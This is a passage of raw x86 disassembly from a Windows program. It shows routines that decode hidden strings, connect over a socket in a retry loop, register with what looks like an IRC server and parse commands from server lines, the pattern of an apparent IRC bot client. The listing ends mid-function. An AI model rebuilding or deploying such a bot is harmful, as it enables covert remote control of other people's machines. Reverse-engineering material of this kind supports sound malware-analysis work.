var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40F600
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+3Ch+var_28], esi
		call	sub_401E6A
		lea	edi, [esi+11h]
		mov	[esp+3Ch+var_4], 0
		mov	ecx, edi
		call	sub_4011B3
		lea	ebp, [esi+28h]
		mov	ecx, ebp
		call	sub_401424
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+3Ch+var_4], 1
		call	sub_401424
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+3Ch+var_4], 2
		call	sub_401749
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+3Ch+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+3Ch+var_4], 4
		call	sub_401749
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+3Ch+var_4], 5
		call	sub_401749
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+3Ch+var_4], 6
		call	sub_401749
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+3Ch+var_4], 7
		call	sub_401749
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+3Ch+var_4], 8
		call	sub_401749
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+3Ch+var_4], 9
		call	sub_401749
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+3Ch+var_4], 0Ah
		call	sub_401749
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+3Ch+var_4], 0Bh
		call	sub_401749
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+3Ch+var_4], 0Ch
		call	sub_401749
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+3Ch+var_4], 0Dh
		call	sub_401749
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+3Ch+var_4], 0Eh
		call	sub_401749
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+3Ch+var_4], 0Fh
		call	sub_401749
		lea	eax, [esp+3Ch+var_29]
		lea	ecx, [esi+2DAh]
		push	eax
		mov	byte ptr [esp+40h+var_4], 10h
		call	sub_401721
		mov	dword ptr [edi], offset	off_43E034
		mov	bl, 11h
		xor	edi, edi
		push	offset byte_446F70
		mov	ecx, ebp
		mov	byte ptr [esp+40h+var_4], bl
		mov	dword ptr [esi], offset	off_43E028
		mov	byte ptr [esi+17h], 1
		mov	byte ptr [esi+15h], 0
		mov	byte ptr [esi+16h], 0
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		mov	[esi+1Ch], edi
		mov	[esi+20h], edi
		call	sub_4015D7
		nop
		call	near ptr 27C08B0h
		push	edi
		push	21h
		push	28h
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	2Ah
		push	ecx
		mov	[esi+24h], eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 12h
		call	sub_4017E4
		push	eax
		push	offset dword_4470FC
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Dh
		push	23h
		push	2Eh
		push	29h
		lea	edx, [esp+54h+var_24]
		push	28h
		push	edx
		call	sub_4019B5
		add	esp, 20h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 13h
		call	sub_4017E4
		push	eax
		push	offset dword_447100
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	28h
		push	23h
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	24h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 14h
		call	sub_4017E4
		push	eax
		push	offset dword_447104
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	21h
		push	2Dh
		push	27h
		push	30h
		push	23h
		push	2Ch
		lea	ecx, [esp+58h+var_24]
		push	2Ah
		push	ecx
		call	sub_4019B5
		add	esp, 24h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 15h
		call	sub_4017E4
		push	eax
		push	offset dword_447108
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Dh
		push	29h
		push	22h
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+5Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019B5
		add	esp, 28h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 16h
		call	sub_4017E4
		push	eax
		push	offset dword_44710C
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	47h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 17h
		call	sub_4017E4
		push	eax
		push	offset dword_447110
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	47h
		push	ecx
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 18h
		call	sub_4017E4
		push	eax
		push	offset dword_447114
		call	sub_401D02
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	21h
		push	28h
		push	29h
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 19h
		call	sub_4017E4
		push	eax
		push	offset dword_447118
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Dh
		push	2Dh
		push	1Bh
		lea	eax, [esp+4Ch+var_24]
		push	2Ah
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ah
		call	sub_4017E4
		push	eax
		push	offset dword_44711C
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	28h
		push	ecx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Bh
		call	sub_4017E4
		push	eax
		push	offset dword_447120
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+4Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ch
		call	sub_4017E4
		push	eax
		push	offset dword_447124
		call	sub_401D02
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	47h
		push	49h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Dh
		call	sub_4017E4
		push	eax
		push	offset dword_447128
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	25h
		push	ecx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Eh
		call	sub_4017E4
		push	eax
		push	offset dword_44712C
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Ch
		push	1Bh
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Fh
		call	sub_4017E4
		push	eax
		push	offset dword_447130
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Eh
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	27h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 20h
		call	sub_4017E4
		push	eax
		push	offset dword_447134
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	45h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	44h
		push	ecx
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 21h
		call	sub_4017E4
		push	eax
		push	offset dword_447138
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	49h
		push	44h
		lea	edx, [esp+48h+var_24]
		push	44h
		push	edx
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 22h
		call	sub_4017E4
		push	eax
		push	offset dword_44713C
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	23h
		push	2Fh
		lea	eax, [esp+4Ch+var_24]
		push	2Bh
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 23h
		call	sub_4017E4
		push	eax
		push	offset dword_447140
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		mov	ecx, [esp+3Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn
sub_40F600	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 180h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FD70	proc near		; CODE XREF: ___:004019C4j sub_401A3Cj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4013C0
sub_40FD70	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_40FD88
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40FD88:				; CODE XREF: ___:0040FD7Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FDA0	proc near		; CODE XREF: sub_4013C0j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40FDA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E028
		mov	dword ptr [esi+11h], offset off_43E034
		lea	ecx, [esi+2DAh]
		mov	[esp+14h+var_4], 10h
		call	sub_401B54
sub_40FDA0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401023
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401023
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_401023
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_401023
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401023
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_401023
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+10h], 9
		call	sub_401023
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+10h], 8
		call	sub_401023
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+10h], 7
		call	sub_401023
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+10h], 6
		call	sub_401023
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+10h], 5
		call	sub_401023
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+10h], 4
		call	sub_401023
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+10h], 3
		call	sub_401023
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+10h], 2
		call	sub_401023
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+28h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40FF60	proc near		; CODE XREF: sub_40212Bj

var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_1C		= byte ptr  20h
arg_1E		= word ptr  22h
arg_20		= dword	ptr  24h
arg_24		= dword	ptr  28h
arg_28		= dword	ptr  2Ch
arg_2C		= dword	ptr  30h
arg_34		= byte ptr  38h
arg_4C		= byte ptr  50h
arg_64		= byte ptr  68h
arg_7C		= byte ptr  80h
arg_94		= byte ptr  98h
arg_AC		= byte ptr  0B0h
arg_C4		= byte ptr  0C8h
arg_DC		= byte ptr  0E0h
arg_F4		= byte ptr  0F8h
arg_10C		= byte ptr  110h
arg_124		= byte ptr  128h
arg_13C		= byte ptr  140h
arg_154		= byte ptr  158h
arg_16C		= byte ptr  170h
arg_184		= byte ptr  188h
arg_19C		= byte ptr  1A0h
arg_1B4		= byte ptr  1B8h
arg_1CC		= byte ptr  1D0h
arg_1E4		= byte ptr  1E8h
arg_1FC		= byte ptr  200h
arg_214		= byte ptr  218h
arg_22C		= byte ptr  230h
arg_244		= byte ptr  248h
arg_25C		= byte ptr  260h
arg_274		= byte ptr  278h
arg_28C		= byte ptr  290h
arg_2A4		= byte ptr  2A8h
arg_2BC		= byte ptr  2C0h
arg_2D4		= byte ptr  2D8h
arg_2EC		= byte ptr  2F0h
arg_304		= byte ptr  308h
arg_31C		= byte ptr  320h
arg_334		= byte ptr  338h
arg_34C		= byte ptr  350h
arg_364		= byte ptr  368h
arg_37C		= byte ptr  380h
arg_394		= byte ptr  398h
arg_3AC		= byte ptr  3B0h
arg_3C4		= byte ptr  3C8h
arg_3DC		= byte ptr  3E0h
arg_3F4		= byte ptr  3F8h
arg_408		= byte ptr  40Ch
arg_40C		= byte ptr  410h
arg_464		= byte ptr  468h
arg_2464	= dword	ptr  2468h
arg_246C	= dword	ptr  2470h
arg_2470	= dword	ptr  2474h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_4395D3
		push	eax
		mov	eax, 2478h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+1Ch+var_4]
		call	sub_401424
		mov	al, [ebp+17h]
		xor	ebx, ebx
		cmp	al, bl
		mov	[esp+1Ch+arg_2470], ebx
		jz	loc_411330


loc_40FFA2:				; CODE XREF: sub_40FF60+13CAj
		mov	al, byte_4E6E84
		mov	edi, dword_50F8A4
		cmp	al, bl
		jz	loc_411330
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jnz	short loc_40FFCA
		cmp	dword ptr [ebp+1Ch], 5
		jg	short loc_40FFD4
		cmp	eax, ebx
		jz	loc_41010E


loc_40FFCA:				; CODE XREF: sub_40FF60+5Aj
		cmp	dword ptr [ebp+1Ch], 2
		jle	loc_41010E


loc_40FFD4:				; CODE XREF: sub_40FF60+60j
		mov	eax, [ebp+18h]
		mov	[ebp+16h], bl
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+15h], bl
		jz	short loc_40FFE9
		push	eax
		nop
		call	near ptr 71AB9639h


loc_40FFE9:				; CODE XREF: sub_40FF60+80j
		mov	ecx, offset word_448C9E
		mov	dword ptr [ebp+18h], 0FFFFFFFFh
		call	sub_401537
		mov	esi, [ebp+20h]
		inc	esi
		mov	[ebp+20h], esi
		lea	esi, [ebp+2DAh]
		mov	ecx, esi
		call	sub_401974
		mov	ecx, [ebp+20h]
		dec	eax
		cmp	ecx, eax
		jbe	short loc_410019
		mov	[ebp+20h], ebx


loc_410019:				; CODE XREF: sub_40FF60+B4j
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		mov	[ebp+1Ch], ebx
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 16Dh
		push	ecx
		push	offset byte_44742D
		mov	ecx, offset word_448D16
		call	sub_401F32
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_40146A
		mov	eax, [eax]
		mov	ecx, offset word_448D16
		add	eax, 1B6h
		push	eax
		push	offset dword_4473E4
		call	sub_401F32
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_40146A
		mov	edx, [eax]
		mov	ecx, offset word_448D16
		push	edx
		push	offset dword_4472C0
		call	sub_401F32
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 124h
		push	ecx
		push	offset word_447352
		mov	ecx, offset word_448D16
		call	sub_401F32
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_40146A
		mov	eax, [eax]
		mov	ecx, offset word_448D16
		add	eax, 0DBh
		push	eax
		push	offset byte_447309
		call	sub_401F32
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_40146A
		mov	edx, [eax]
		mov	ecx, offset word_448D16
		add	edx, 92h
		push	edx
		push	offset byte_44739B
		call	sub_401F32
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 1FFh
		push	ecx
		push	offset byte_4474BF
		mov	ecx, offset word_448D16
		call	sub_401F32
		call	edi
		mov	[ebp+24h], eax


loc_41010E:				; CODE XREF: sub_40FF60+64j
					; sub_40FF60+6Ej
		mov	edx, [ebp+18h]
		cmp	edx, 0FFFFFFFFh
		jnz	short loc_410138
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		push	7D0h
		mov	[ebp+18h], eax
		mov	[ebp+15h], bl
		nop
		call	near ptr 2801E3Fh
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410138:				; CODE XREF: sub_40FF60+1B4j
		cmp	[ebp+15h], bl
		jnz	loc_4102C8
		mov	ax, word_44736C
		xor	edx, edx
		mov	[esp+20h+arg_20], edx
		push	eax
		mov	[esp+24h+arg_24], edx
		mov	word ptr [esp+24h+arg_20], 2
		mov	[esp+24h+arg_28], edx
		mov	[esp+24h+arg_2C], edx
		nop
		call	near ptr 71AB2B66h
		mov	ecx, offset byte_447309
		mov	[esp+24h+arg_1E], ax
		call	sub_4017E4
		push	eax
		call	sub_40187F
		add	esp, 4
		mov	[esp+24h+arg_20], eax
		call	edi
		mov	edx, [ebp+18h]
		lea	ecx, [esp+24h+arg_1C]
		push	10h
		push	ecx
		push	edx
		mov	[ebp+24h], eax
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4101B8
		push	2710h
		call	near ptr 2801E3Fh
		nop
		mov	eax, [ebp+1Ch]
		mov	[ebp+15h], bl
		inc	eax
		mov	[ebp+1Ch], eax
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4101B8:				; CODE XREF: sub_40FF60+23Cj
		mov	byte ptr [ebp+15h], 1
		mov	[ebp+16h], bl
		call	edi
		mov	[ebp+24h], eax
		xor	eax, eax
		mov	[esp+30h+arg_0], eax
		lea	ecx, [esp+30h+arg_20]
		mov	[esp+30h+arg_4], eax
		lea	edx, [esp+30h+arg_0]
		mov	[esp+30h+arg_8], eax
		push	ecx
		mov	[esp+34h+arg_C], eax
		mov	eax, [ebp+18h]
		push	edx
		push	eax
		mov	[esp+3Ch+arg_20], 10h
		call	near ptr 71AB951Eh
		nop
		mov	ecx, [esp+3Ch+var_4+3]
		mov	edx, [esp+3Ch+var_4+2]
		mov	eax, [esp+3Ch+var_4+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+40h+var_4]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+4Ch+arg_408]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	sub_5EFFD5
		add	esp, 18h
		lea	eax, [esp+3Ch+arg_408]
		lea	ecx, [ebp+3Dh]
		push	eax
		call	sub_4015D7
		lea	ecx, [esp+3Ch+arg_408]
		push	ecx
		nop
		call	near ptr 71AB2BF4h
		push	offset byte_446F70
		mov	ecx, offset byte_44739B
		mov	[ebp+52h], eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410287
		mov	ecx, offset byte_44739B
		call	sub_4017E4
		mov	edx, dword_44711C
		push	eax
		push	edx
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h


loc_410287:				; CODE XREF: sub_40FF60+305j
		mov	ecx, offset byte_4E6E85
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_4E6E85
		call	sub_4017E4
		push	eax
		mov	eax, dword_447124
		push	eax
		mov	ecx, offset byte_4E6E85
		call	sub_4017E4
		mov	ecx, dword_447120
		push	eax
		push	ecx
		push	offset aSSSS00S	; "%s %s\r\n%s %s 0 0 :%s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 1Ch
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4102C8:				; CODE XREF: sub_40FF60+1DBj
		mov	ecx, 800h
		xor	eax, eax
		lea	edi, [esp+20h+arg_464]
		push	ebx
		rep stosd
		lea	eax, [esp+24h+arg_464]
		push	2000h
		push	eax
		push	edx
		call	sub_401280
		add	esp, 10h
		cmp	al, bl
		jz	loc_411320
		nop
		call	near ptr 27C08B0h
		lea	ecx, [esp+20h+var_8]
		mov	[ebp+24h], eax
		call	sub_401CBC
		lea	ecx, [esp+20h+arg_464]
		push	ecx
		lea	ecx, [esp+24h+var_8]
		call	sub_401A87
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_364]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447128
		mov	byte ptr [esp+20h+arg_246C], 1
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4103A0
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_3F4]
		push	4
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset dword_4473E4
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 2
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+20h+arg_3F4]
		mov	byte ptr [esp+20h+arg_246C], 1
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_4103A4


loc_4103A0:				; CODE XREF: sub_40FF60+3EAj
		mov	[esp+20h+var_D], bl


loc_4103A4:				; CODE XREF: sub_40FF60+43Ej
		lea	ecx, [esp+20h+arg_364]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_4103C6
		mov	byte ptr [ebp+16h], 1
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4103C6:				; CODE XREF: sub_40FF60+45Bj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_F4]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_4470FC
		mov	byte ptr [esp+20h+arg_246C], 3
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_F4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_443600 ; " "
		cmp	al, bl
		push	1
		jz	short loc_410464
		lea	edx, [esp+28h+arg_2A4]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 4
		call	sub_4017E4
		push	eax
		mov	eax, dword_447118
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2A4]
		jmp	loc_410592
; ---------------------------------------------------------------------------


loc_410464:				; CODE XREF: sub_40FF60+4BAj
		lea	edx, [esp+28h+arg_124]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016AE
		mov	ecx, dword_447100
		mov	byte ptr [esp+20h+arg_246C], 5
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_124]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_443600 ; " "
		cmp	al, bl
		jz	loc_4105D0
		lea	edx, [esp+24h+arg_40C]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 6
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_40C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_411327
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_154]
		push	11h
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447118
		mov	byte ptr [esp+20h+arg_246C], 7
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_154]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410597
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_2D4]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 8
		call	sub_4017E4
		push	eax
		mov	eax, dword_447118
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2D4]


loc_410592:				; CODE XREF: sub_40FF60+4FFj
		call	sub_401226


loc_410597:				; CODE XREF: sub_40FF60+5E6j
		cmp	[ebp+16h], bl
		jnz	loc_411327
		mov	ecx, offset byte_44742D
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_4473E4
		call	sub_4017E4
		mov	ecx, dword_447104
		push	eax
		push	ecx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 14h
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4105D0:				; CODE XREF: sub_40FF60+550j
		lea	edx, [esp+24h+arg_394]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447138
		mov	byte ptr [esp+20h+arg_246C], 9
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410652
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_184]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_44713C
		mov	byte ptr [esp+20h+arg_246C], 0Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_184]
		mov	byte ptr [esp+20h+arg_246C], 9
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_410657


loc_410652:				; CODE XREF: sub_40FF60+69Bj
